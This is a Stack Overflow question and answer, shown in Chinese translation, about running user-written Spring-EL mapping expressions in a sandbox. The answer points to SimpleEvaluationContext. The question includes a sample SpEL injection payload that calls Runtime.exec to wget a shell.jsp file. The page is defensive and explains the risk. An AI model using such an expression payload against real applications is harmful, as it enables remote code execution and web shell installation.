spring - Spring-EL 表达式可以在沙箱中执行吗?

标签 spring sandbox spring-el

我正在使用 Spring-EL 创建动态 csv 字段到类字段的映射,用于不同的 Spring-Batch 导入作业。 (不同的输入文件,相同的输出类)。这工作得很好,但想法是用户必须能够创建这样的映射配置。

问题是 Spring-EL 表达式不是在一种沙箱中执行的,因此很容易注入(inject)恶意代码。例如:

name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")

我的问题是,如何在某种沙箱中运行 Spring-EL 或限制对一组特定方法/类的访问?我找不到与此主题相关的任何内容。也许 Spring-EL 不是这项工作的正确选择。

我尝试实现的示例:

name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)

最佳答案

SimpleEvaluationContext 旨在减少应用程序漏洞。

参见 https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context了解更多信息:

SimpleEvaluationContext is designed to support only a subset of the SpEL language syntax. It excludes Java type references, constructors, and bean references. It also requires you to explicitly choose the level of support for properties and methods in expressions. By default, the create() static factory method enables only read access to properties.

关于spring - Spring-EL 表达式可以在沙箱中执行吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/53377386/

相关文章:

java - 404 未找到 : Something wrong with access to a servlet deployed on Tomcat

java - 如何在没有 Controller 的情况下运行@SpringBootApplication

java - 如何测试带有自定义 bean-spel 的 @PreAuthorize 是否有效?

spring - 是否可以使用 Spring Boot 运行较长的任务?

java - Spring引导2.2.0测试: Configuration error: found multiple declarations of @BootstrapWith

ios - 访问和使用应用程序沙箱中的文件

java - SpEL getValue() 函数随时间变慢

spring - 使用Spring表达式语言解析系统环境变量

sandbox - 转移 Mac App Store 应用程序

javascript - VUE引擎如何评估属性代码?